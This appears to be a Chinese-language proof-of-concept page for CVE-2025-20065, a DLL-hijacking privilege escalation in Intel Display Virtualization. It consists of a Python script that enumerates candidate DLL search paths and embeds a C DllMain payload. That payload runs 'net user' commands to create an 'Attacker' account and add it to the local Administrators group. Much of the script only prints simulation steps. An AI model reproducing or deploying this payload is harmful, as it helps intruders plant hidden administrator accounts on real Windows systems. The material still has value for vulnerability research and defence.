CVE-2025-20065 Intel Display Virtualization不受控制搜索路径权限提升漏洞

# CVE-2025-20065 PoC - DLL劫持演示 # 适用于Intel Display Virtualization权限提升漏洞 # 注意：此代码仅供安全研究和教育目的 import os import sys import ctypes from ctypes import wintypes # 定义Windows API kernel32 = ctypes.windll.kernel32 def create_malicious_dll(): """ 创建恶意DLL代码 在实际攻击中，攻击者会将此DLL放置在搜索路径中 """ dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // 恶意代码执行点 // 可在此处执行权限提升操作 MessageBox(NULL, "CVE-2025-20065 PoC", "Intel Display Virtualization DLL Hijacking", MB_OK); // 示例：创建管理员账户（实际攻击中会隐蔽执行） system("net user Attacker P@ssw0rd /add"); system("net localgroup Administrators Attacker /add"); } return TRUE; } ''' return dll_code def check_vulnerable_dll_path(): """ 检查Intel Display Virtualization的DLL搜索路径 识别可能存在漏洞的路径 """ vulnerable_paths = [ r"C:\Program Files\Intel\Display Virtualization", r"C:\Program Files (x86)\Intel\Display Virtualization", r"C:\Windows\System32", r"C:\Windows\SysWOW64", os.getcwd() ] print("[*] Checking for vulnerable DLL paths...") for path in vulnerable_paths: if os.path.exists(path): print(f"[+] Found path: {path}") # 检查目录权限 try: files = os.listdir(path) print(f" Files in directory: {len(files)}") except: print(f" [!] Cannot access directory") return vulnerable_paths def exploit_vulnerability(): """ 漏洞利用演示 模拟攻击者将恶意DLL放置在搜索路径中 """ print("[*] CVE-2025-20065 Exploitation Simulation") print("=" * 50) # 步骤1：识别漏洞路径 paths = check_vulnerable_dll_path() # 步骤2：生成恶意DLL print("\n[*] Generating malicious DLL payload...") dll_code = create_malicious_dll() print(f"[+] Malicious DLL code generated ({len(dll_code)} bytes)") # 步骤3：检查Intel Display Virtualization进程 print("\n[*] Checking for Intel Display Virtualization processes...") print("[!] Note: In real attack, would enumerate running processes") print("[!] Note: Would inject malicious DLL when vulnerable driver loads") # 步骤4：权限提升验证 print("\n[*] Verifying privilege escalation...") is_admin = ctypes.windll.shell32.IsUserAnAdmin() print(f"[*] Current user is admin: {bool(is_admin)}") print("\n[!] This is a simulation. Actual exploitation requires:") print(" 1. Local access to target system") print(" 2. Authenticated user account") print(" 3. User interaction (running vulnerable software)") print(" 4. Placing malicious DLL in search path") if __name__ == "__main__": exploit_vulnerability()